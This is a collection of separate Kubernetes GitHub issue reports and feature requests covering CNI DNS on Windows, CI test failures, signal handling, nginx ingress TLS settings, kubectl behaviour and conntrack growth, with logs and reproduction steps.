<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r pr  64189 tries to reduce cni calls for sandboxed containers: \r \r > windows supports both sandbox and non-sandbox cases. the non-sandbox\r case is for windows server 2016 and for windows server version greater\r than 1709 which use hyper-v containers. currently, the cni on windows fetches the ip from the containers within the pods regardless of the mode. this should be done only\r in the non-sandbox mode where the ip of the actual container\r will be different than the ip of the sandbox container.\r > in the case where the sandbox container is supported, all the containers\r from the same pod will share the network details of the sandbox container.\r > this patch updates the cni to fetch the ip from the sandbox container\r when this mode is supported.\r \r however, for windows 1709 and 1803 we didnt have the namespace support in windows which we are bringing in rs5. so we need this second call to replicate the dns registry key to the workload container. this is a platform requirement and removing this will break dns for the workload containers. ip/gateway/mac is set separately than dns.  refer https://github.com/kubernetes/kubernetes/pull/64189 issuecomment-395248704 \r \r in rs5 once we move the namespace model, we will update cri and cni to add endpoints and add it to the namespace. \r \r so the pr breaks dns for windows containers. we should revert it.\r \r \r  

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-stable-on-master\r \r   which test s  are failing  :\r   up   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-stable-on-master/4929 \r \r   since when has it been failing  :\r october 27th, 2018\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-stable-on-master\r \r   reason for failure  :\r it seems that  69486 has caused the failure: https://github.com/kubernetes/kubernetes/compare/b7b0aae43...481fa1977?\r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the signal sigterm has no effect for  hyperkube kube-proxy ,  hyperkube kube-controller-manager ,  hyperkube kube-scheduler .\r \r   what you expected to happen  :\r same behavior for all the components, sending sigterm once shuts down the components correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start  hyperkube kube-proxy , press ctrl-c, doesn't work, press ctrl-c again kills the process. start  hyperkube kubelet , press ctrl-c stops the process immediately.\r \r   anything else we need to know?  :\r for  hyperkube kubelet ,  hyperkube kube-apiserver  it seems to work fine. sending the signal twice works as well, probably with panic.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.4, 1.12.3\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : redhat 7\r - kernel  e.g.  uname -a  : 3.10.0-862.14.4.el7.x86_64\r - install tools: manual, systemd\r - others:\r \r <!-- do not edit below this line -->\r 

hi,\r \r i'm building an authentication system using a chipcard and card reader to log into my application.\r for this intent, i need to use client ssl certificate validation for 1. transmitting the ca to the client browser 2. the browser asks the user for his certificate 3. the browser connects using user's certificate.\r \r i've noticed that chrome  at least chrome 71 and below  are not asking for client's certificate when using tls v1.2, therefore i'm trying to prevent ingress's nginx to use tls v1.2.\r \r here is my configuration:\r \r    \r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: \ mycompanyname-cryptocard-ingress\ \r   namespace: \ mycompanyname-staging\ \r   annotations:\r     kubernetes.io/ingress.class: \ nginx\ \r     ingress.kubernetes.io/auth-tls-verify-client: \ on\ \r     ingress.kubernetes.io/auth-tls-secret: \ mycompanyname-staging/cryptocard-certificate\ \r     ingress.kubernetes.io/auth-tls-pass-certificate-to-upstream: \ true\ \r     ingress.kubernetes.io/auth-tls-verify-depth: \ 4\ \r     ingress.kubernetes.io/server-snippet: |\r       ssl_protocols tlsv1.1;\r       ssl_ciphers ecdhe-rsa-aes128-gcm-sha256:aes256+eecdh:aes256+edh;\r   labels:\r     name: \ cryptocard-test.mycompanyname.fr\ \r spec:\r   tls:\r     - hosts:\r         - \ cryptocard-test.mycompanyname.fr\ \r       secretname: \ wildcard.mycompanyname.fr\ \r   rules:\r   - host: \ cryptocard-test.mycompanyname.fr\ \r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: \ mycompanyname-api-main\ \r           serviceport: 8765\r    \r \r this is unfortunately not working : even if  ssl_protocols tlsv1.1;  suggests that i'm wanting to use only tlsv1.1, this is what i receive from  curl -v https://cryptocard-test.mycompanyname.fr \r \r    \r     trying 71.22.13.57...\r   tcp_nodelay set\r   connected to cryptocard-test.mycompanyname.fr  71.22.13.57  port 443   0 \r   alpn, offering h2\r   alpn, offering http/1.1\r   cipher selection: all:!export:!export40:!export56:!anull:!low:!rc4:@strength\r   successfully set certificate verify locations:\r     cafile: /etc/ssl/cert.pem\r   capath: none\r   tlsv1.2  out , tls handshake, client hello  1 :\r   tlsv1.2  in , tls handshake, server hello  2 :\r   tlsv1.2  in , tls handshake, certificate  11 :\r   tlsv1.2  in , tls handshake, server key exchange  12 :\r   tlsv1.2  in , tls handshake, server finished  14 :\r   tlsv1.2  out , tls handshake, client key exchange  16 :\r   tlsv1.2  out , tls change cipher, client hello  1 :\r   tlsv1.2  out , tls handshake, finished  20 :\r   tlsv1.2  in , tls change cipher, client hello  1 :\r   tlsv1.2  in , tls handshake, finished  20 :\r   ssl connection using tlsv1.2 / ecdhe-rsa-aes256-gcm-sha384\r   alpn, server accepted to use h2\r   server certificate:\r    subject: c=fr; l=city; o=mycompanyname; ou=mycompanyname; cn= .mycompanyname.fr\r    start date: feb 26 00:00:00 2018 gmt\r    expire date: feb 26 12:00:00 2020 gmt\r    subjectaltname: host \ cryptocard-test.mycompanyname.fr\  matched cert's \  .mycompanyname.fr\ \r    issuer: c=us; o=digicert inc; ou=www.digicert.com; cn=thawte rsa ca 2018\r    ssl certificate verify ok.\r   using http2, server supports multi-use\r   connection state changed  http/2 confirmed \r   copying http/2 data in stream buffer to connection buffer after upgrade: len=0\r   using stream id: 1  easy handle 0x7f8303000400 \r > get / http/2\r > host: cryptocard-test.mycompanyname.fr\r > user-agent: curl/7.54.0\r > accept:  / \r > \r   connection state changed  max_concurrent_streams updated !\r < http/2 404 \r < server: nginx/1.15.5\r < date: thu, 31 jan 2019 10:07:56 gmt\r < content-type: application/json\r < content-length: 77\r < strict-transport-security: max-age=15724800; includesubdomains\r < \r    \r \r you can see that tlsv1.2 is used anyway.\r \r i don't what the cause is, however i tried to downgrade nginx to the latest version that does not support tlsv1.2, that is  nginx/1.13.5 . my current  you can check above  was  nginx/1.15.5   current official used on gke .\r \r this is the result :\r \r    \r   rebuilt url to: https://cryptocard.mycompanyname.fr/\r     trying 91.347.232.3...\r   tcp_nodelay set\r   connected to cryptocard.mycompanyname.fr  91.347.232.3  port 443   0 \r   alpn, offering h2\r   alpn, offering http/1.1\r   cipher selection: all:!export:!export40:!export56:!anull:!low:!rc4:@strength\r   successfully set certificate verify locations:\r     cafile: /etc/ssl/cert.pem\r   capath: none\r   tlsv1.2  out , tls handshake, client hello  1 :\r   tlsv1.2  in , tls handshake, server hello  2 :\r   tlsv1.1  in , tls handshake, certificate  11 :\r   tlsv1.1  in , tls handshake, server key exchange  12 :\r   tlsv1.1  in , tls handshake, request cert  13 :\r   tlsv1.1  in , tls handshake, server finished  14 :\r   tlsv1.1  out , tls handshake, certificate  11 :\r   tlsv1.1  out , tls handshake, client key exchange  16 :\r   tlsv1.1  out , tls change cipher, client hello  1 :\r   tlsv1.1  out , tls handshake, finished  20 :\r   tlsv1.1  in , tls change cipher, client hello  1 :\r   tlsv1.1  in , tls handshake, finished  20 :\r   ssl connection using tlsv1.1 / ecdhe-rsa-aes256-sha\r   alpn, server accepted to use http/1.1\r   server certificate:\r    subject: c=fr; l=city; o=mycompanyname; ou=mycompanyname; cn= .mycompanyname.fr\r    start date: feb 26 00:00:00 2018 gmt\r    expire date: feb 26 12:00:00 2020 gmt\r    subjectaltname: host \ cryptocard.mycompanyname.fr\  matched cert's \  .mycompanyname.fr\ \r    issuer: c=us; o=digicert inc; ou=www.digicert.com; cn=thawte rsa ca 2018\r    ssl certificate verify ok.\r > get / http/1.1\r > host: cryptocard.mycompanyname.fr\r > user-agent: curl/7.54.0\r > accept:  / \r > \r < http/1.1 400 bad request\r < server: nginx\r < date: thu, 31 jan 2019 10:14:38 gmt\r < content-type: text/html\r < content-length: 246\r < connection: close\r < strict-transport-security: max-age=15724800; includesubdomains;\r < \r    \r \r you can see that nginx is downgrading protocol from tlsv1.2 to tlsv1.1.\r \r my questions is: since annotations are not doing the job, how to disable tlsv1.2 usage without downgrading nginx  which is a   terrible   practice !  ?\r \r thank you for your time

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r the pod name is missing in suggested cmd usage when executing  kubectl attach :\r    \r   kubectl attach deployment/testpod\r defaulting container name to master.\r use 'kubectl describe pod/ -n default' to see all of the containers in this pod.\r    \r \r   what you expected to happen  :\r the suggested cmd usage should be a complete cmd like the one got from  kubectl exec \r    \r   kubectl exec testpod-f7675d6bd-th27z date\r defaulting container name to master.\r use 'kubectl describe pod/testpod-f7675d6bd-th27z -n default' to see all of the containers in this pod.\r wed may  8 15:22:25 utc 2019\r    \r   how to reproduce it  as minimally and precisely as possible   :\r use  kubectl attach  to attach any pod/deployment/service, the podname will be missing in the suggested cmd usage like above.\r \r   anything else we need to know?  :\r it works fine for kubectl < v1.12\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.13.1\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

right now only ingress controller supports it: https://github.com/kubernetes/kubernetes/blob/821e171247fb535debf6e9018967031025997aba/federation/cmd/federation-controller-manager/app/controllermanager.go l196.\r this is required for https://github.com/kubernetes/kubernetes/issues/38593

when i ran update-staging-godeps.sh , logs always say that : jq not found,  but i actually have installed jq. \r \r > root@nickren-ubuntu14:/home/nickren/goprojects/src/k8s.io/kubernetes  ./hack/update-staging-godeps.sh \r +++  0729 23:34:56  verifying prerequisites....\r ..............\r +++  0729 23:34:58  checking whether godeps are restored\r   jq not found. please install.\r +++  0729 23:34:58  starting to download all kubernetes godeps. this takes a while\r \r 

 \r we have an elasticsearch cluster running as a  statefulset , on which we would like to perform a rolling update. when one pod gets updated and comes online, kubernetes sees that as a signal that the update is complete and proceeds to updating the next pod. however, at this point elasticsearch is still recovering and balancing its shards and the update should wait until this process is finished. elasticsearch has support for probing its cluster state for this purpose.\r \r i could implement this as a readiness probe of course, however the cluster state is shared across all pods so that would make them all fail the probe and cut them off from traffic at the same time. this rebalancing process does not actually affect the cluster availability, so i do not want to do that. currently i'm trying to work around this by adding an extremely large  failurethreshold  to the readiness probe, but this is far from ideal and still has edge cases which may render the entire cluster unavailable.\r \r i could really use a separate probe in this scenario to signal that a pod's update is complete and that the rolling update may continue, without affecting the pod's availability.

is this a bug report or feature request?  :\r  \r   what happened  :\r unit test error message match the conventional go style:\r \r https://github.com/golang/go/wiki/codereviewcomments useful-test-failures\r for example:\r \r if got, want := set.status.replicas, 3; got != want {\r   t.errorf \ set.status.replicas = %v; want %v\ , got, want \r }\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r pause does not reap zombie processes using the default pause container provided by gcr.io/google_containers/pause-amd64:3.0\r \r   what you expected to happen  :\r gcr.io/google_containers/pause-amd64:3.0 should include the up to date pause code to reap zombie processes when using docker >= 1.13.1 found here\r \r https://github.com/kubernetes/kubernetes/blob/master/build/pause/pause.c\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml\r kubectl exec -it shell-demo -- /bin/bash\r   apt update\r   apt install curl gcc procps\r   curl https://raw.githubusercontent.com/kubernetes/kubernetes/master/build/pause/orphan.c\r   gcc orphan.c\r   ./a.out\r   ps ax\r    \r a.out will leave a zombie process that is not cleaned up\r \r   anything else we need to know?  :\r \r building the pause container from master solves this issue\r \r related:\r https://github.com/kubernetes/kubernetes/pull/45236\r https://github.com/kubernetes/kubernetes/pull/36853\r https://github.com/kubernetes/kubernetes/issues/1615\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0+\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :  4.10.13+\r - install tools:\r - others: docker >= 1.13.1\r

as a prerequisite of moving the  daemonset ,  deployment ,  replicaset , and  statefulset  controllers to use the apps/v1beta2 apis, we need to add list expansions for   daemonset ,  deployment ,  replicaset , and  statefulset  to  apps/v1beta2 .

failure cluster  44a489900a84ab701fd2  https://go.k8s.io/triage 44a489900a84ab701fd2        error text:     error during ./hack/e2e-internal/e2e-up.sh  interrupted : signal: interrupt           failure cluster statistics: 3 tests failed,    11 jobs failed,    82 builds failed. failure stats cover 1 day time range '16 sep 2017 20:11 utc' to '17 sep 2017 20:11 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 7 | | teardown | 2 | | deferred teardown | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-docker | 23 |  17 sep 2017 18:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-docker/4395  | | ci-kubernetes-e2e-gce-gci-ci-master | 21 |  17 sep 2017 18:20 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-ci-master/11781  | | ci-kubernetes-e2e-gce-statefulset | 20 |  17 sep 2017 18:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/10780  |   current status  https://go.k8s.io/triage 44a489900a84ab701fd2

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  i noticed a linear increase on my conntrack table.\r \r from  netstat  or  ss  i found  8579  lines like these:\r    \r tcp        0      0 127.0.0.1:56848         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:40850         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:52616         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:54342         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:55110         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:41332         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:43940         127.0.0.1:2379          established 3053/kube-apiserver\r tcp        0      0 127.0.0.1:36526         127.0.0.1:2379          established 3053/kube-apiserver\r    \r \r also around  8583  like these\r \r    \r tcp        0      0 127.0.0.1:2379          127.0.0.1:44712         established 3164/etcd\r tcp        0      0 127.0.0.1:2379          127.0.0.1:60098         established 3164/etcd\r tcp        0      0 127.0.0.1:2379          127.0.0.1:41678         established 3164/etcd\r tcp        0      0 127.0.0.1:2379          127.0.0.1:41736         established 3164/etcd\r    \r \r   what you expected to happen  :\r less entries inside conntrack table.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. build packages from github.com/kubernetes/release and install on a fresh debian stable host.\r 2. run  kubeadm init --apiserver-advertise-address=0.0.0.0 --pod-network-cidr=10.244.0.0/16 \r 3. configure cni from this pr https://github.com/projectcalico/canal/pull/106\r 4. wait until  kubeletready \r 5. remove taint from master node  to be able to schedule pods on master .\r 6. at this point the  /proc/net/nf_conntrack  start to fill.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r    \r 00:00.0 host bridge: intel corporation xeon e3-1200 v3 processor dram controller  rev 06 \r 00:02.0 vga compatible controller: intel corporation xeon e3-1200 v3 processor integrated graphics controller  rev 06 \r 00:14.0 usb controller: intel corporation 8 series/c220 series chipset family usb xhci  rev 05 \r 00:16.0 communication controller: intel corporation 8 series/c220 series chipset family mei controller  1  rev 04 \r 00:1a.0 usb controller: intel corporation 8 series/c220 series chipset family usb ehci  2  rev 05 \r 00:1c.0 pci bridge: intel corporation 8 series/c220 series chipset family pci express root port  1  rev d5 \r 00:1c.4 pci bridge: intel corporation 8 series/c220 series chipset family pci express root port  5  rev d5 \r 00:1d.0 usb controller: intel corporation 8 series/c220 series chipset family usb ehci  1  rev 05 \r 00:1f.0 isa bridge: intel corporation b85 express lpc controller  rev 05 \r 00:1f.2 sata controller: intel corporation 8 series/c220 series chipset family 6-port sata controller 1  ahci mode   rev 05 \r 00:1f.3 smbus: intel corporation 8 series/c220 series chipset family smbus controller  rev 05 \r 02:00.0 ethernet controller: realtek semiconductor co., ltd. rtl8111/8168/8411 pci express gigabit ethernet controller  rev 0c \r    \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux master.example.com 4.9.0-4-amd64  1 smp debian 4.9.51-1  2017-09-28  x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r ! context-switches-kube  https://user-images.githubusercontent.com/893920/31716151-d56d9b1e-b406-11e7-97de-34c35838f9a8.png \r ! conntrack-kube  https://user-images.githubusercontent.com/893920/31716152-d585047a-b406-11e7-9e25-df209fc0ee03.png \r \r

is this a bug report or feature request?  :\r  \r \r   what happened  : pull-kubernetes-unit job fails with the error \ error when running   run_kubectl_get_tests  \ .\r it fails at https://github.com/kubernetes/kubernetes/blob/f875ee596d4eb0d5847cf2f0e6b13a80de7d6008/hack/make-rules/test-cmd-util.sh l1388\r commented out the above if statement and added a kube::test::if_has_not_string condition as follows  kube::test::if_has_not_string \ ${output_message}\  'list' . the build moves ahead and completes the job successfully on intel x86 with output \ pass: pull-kubernetes-unit\ .\r \r   what you expected to happen  : expected the job to pass. looking at the logs in the kubernetes jenkins ci https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54818/pull-kubernetes-unit/61583/?log log  i see the same   fail!,   log, but the test moves ahead and the job moves forward and completes.\r \r   how to reproduce it  as minimally and precisely as possible   : execute the following command, root@xyz:~/kubernetes-ci/test-infra   ./jenkins/bootstrap.py --job=pull-kubernetes-unit --repo=github.com/kubernetes/kubernetes \r  https://github.com/kubernetes/test-infra \r \r \r   anything else we need to know?  : the common log that is noticed in kubernetes jenkins ci and the locally run tests is as follows\r    \r i1030 21:45:31.105  test-cmd-util.sh:1364: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: \r i1030 21:45:31.227  \u001b bsuccessful\r i1030 21:45:31.227  message:error from server  notfound : pods \ abc\  not found\r i1030 21:45:31.228  has:pods \ abc\  not found\r i1030 21:45:31.229  fail!\r i1030 21:45:31.229  message:error from server  notfound : pods \ abc\  not found\r i1030 21:45:31.229  has not:list\r i1030 21:45:31.229  1370 /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh\r i1030 21:45:31.393  successful\r    \r another fail is seen in the log of the locally run tests:\r    \r i1128 11:20:28.890  i1128 11:20:28.759770    5640 round_trippers.go:436  get http://127.0.0.1:8080/swagger-2.0.0.pb-v1 304 not modified in 4 milliseconds\r i1128 11:20:28.891  name             type        cluster-ip   external-ip   port s    age\r i1128 11:20:28.891  svc/kubernetes   clusterip   10.0.0.1     <none>        443/tcp   3m\r i1128 11:20:28.891  has:/apis/autoscaling/v1/namespaces/default/horizontalpodautoscalers 200\r i1128 11:20:28.891  fail!\r i1128 11:20:28.891  message:i1128 11:20:28.689550    5640 loader.go:357  config loaded from file /tmp/tmp.qm40bzri1w/.kube/config\r i1128 11:20:28.892  i1128 11:20:28.724244    5640 round_trippers.go:436  get http://127.0.0.1:8080/apis/extensions/v1beta1/namespaces/default/daemonsets 200 ok in 2 milliseconds\r    \r although on changing the below https://github.com/kubernetes/kubernetes/blob/f875ee596d4eb0d5847cf2f0e6b13a80de7d6008/hack/make-rules/test-cmd-util.sh l1388 to use  kube::test::if_has_not_string \ ${output_message}\  'list' , the test moves ahead and the job completes.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: intel x86 64-bit vm. 8gb ram, 2 cores cpu.\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-21-generic\r - install tools: -\r - others: -\r \r /area test-infra\r 

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r the inability to see the pods that use a given pvc causes some usability problems. for example:\r - for most providers, expanding pvcs requires deleting and restarting pods to resize the file system. currently users do not have an easy way to know what pods need to be restarted  when expanding pvcs.\r - from a metrics/ui perspective, it would be helpful for a user to be able to connect the pvc details or storage metrics with the pods that use that pvc.\r \r   what you expected to happen  :\r pvcs list out the pods that use them as part of their status or through some other means.\r \r   how to reproduce it  as minimally and precisely as possible   :\r always\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

gluster and iscsi volume plugins were added recently. ceph plugins are underway. we need end to end tests for all these plugins. these tests are necessary for ownership and maintenance of these plugins.  cc @thockin @rootfs

what happened  :\r a conversion webhook's modification to generation was allowed\r \r   what you expected to happen  :\r generation is either forcefully preserved from the original object, or attempts to change the generation in conversion result in an error  like kind/name/namespace/uid in https://github.com/kubernetes/kubernetes/blob/master/staging/src//k8s.io/apiextensions-apiserver/pkg/apiserver/conversion/webhook_converter.go l317-l331 \r \r also need to ensure resourceversion is not modified in the returned object\r \r <!-- do not edit below this line -->\r 

i am seeing this and it's very cryptic. i'm using gke and it makes feel like gke is  accounts.google.com  flaky and then i catch the  write udp  part, and i am very confused thinking about why there is anything to do with udp?      unable to connect to the server: post https://accounts.google.com/o/oauth2/token: dial tcp: lookup accounts.google.com on 192.168.0.1:53: write udp 192.168.0.2:64479->192.168.0.1:53: i/o timeout      i think a much more useful message, would be:      unable to lookup accounts.google.com      additionally, i think it may be good idea to retry lookup a couple of times, particularly in the case of udp write timeout.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot-release-1.4/337/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:98 dec  1 18:35:02.829: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  33882  35316   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:92 dec  1 18:46:06.115: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  33874   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:110 dec  1 18:57:14.521: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  33407  33623   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:126 dec  1 19:08:22.613: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  33703  36230   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:118 dec  1 19:19:31.154: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  1 19:33:51.920: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418     issues about this test specifically:  34123  35398  previous issues for this suite:  37160

when a node is deleting a pod, the noderestriction admission plugin ensures the pod is bound to the node. it first checks the server cache for the pod.\r \r in the case where a pod was created and immediately deleted, it may not yet exist in the server cache. before forbidding, we should do a live lookup.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46945/pull-kubernetes-unit/34793 k8siokubernetestestintegrationauth-testnodeauthorizer\r \r    \r k8s.io/kubernetes/test/integration/auth testnodeauthorizer 5.34s\r \r go test -v k8s.io/kubernetes/test/integration/auth -run testnodeauthorizer$\r \r node_test.go:301: node_test.go:247: expected no error, got pods \ unknown\  is forbidden: pods \ node2mirrorpod\  not found\r node_test.go:301: node_test.go:287: expected no error, got pods \ node2mirrorpod\  already exists\r    \r \r cc @smarterclayton

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r kubectl top need a flag --sort=memory, cpu \r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.2-dirty\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ dirty\ , builddate:\ 2017-05-02t10:28:22z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r kubectl top pod need a flag --sort.\r now:\r    \r admindemacbook-pro:kubectl admin$ kubectl --kubeconfig=kubectl.kubeconfig top pod\r name                                                           cpu cores    memory bytes    \r cauth-v0.0.5-2463911897-165m8                                  34m          10mi            \r hadoop-journalnode-2                                           13m          362mi           \r kubernetes-admin-mongo-v3.0.5-fix-permission-742023179-kgqdg   5m           44mi            \r hodor-v0.0.5-3204531036-fqb0q                                  23m          64mi            \r test-1440672787-kvx8h                                          0m           1mi\r elasticsearch-logging-v1-psc43                                 2m           2406mi   \r    \r \r   what you expected to happen  :\r --sort=memory:\r    \r admindemacbook-pro:kubectl admin$ kubectl --kubeconfig=kubectl.kubeconfig top pod --sort=memory\r name                                                           cpu cores    memory bytes    \r elasticsearch-logging-v1-psc43                                 2m           2406mi   \r hadoop-journalnode-2                                           13m          362mi     \r hodor-v0.0.5-3204531036-fqb0q                                  23m          64mi          \r 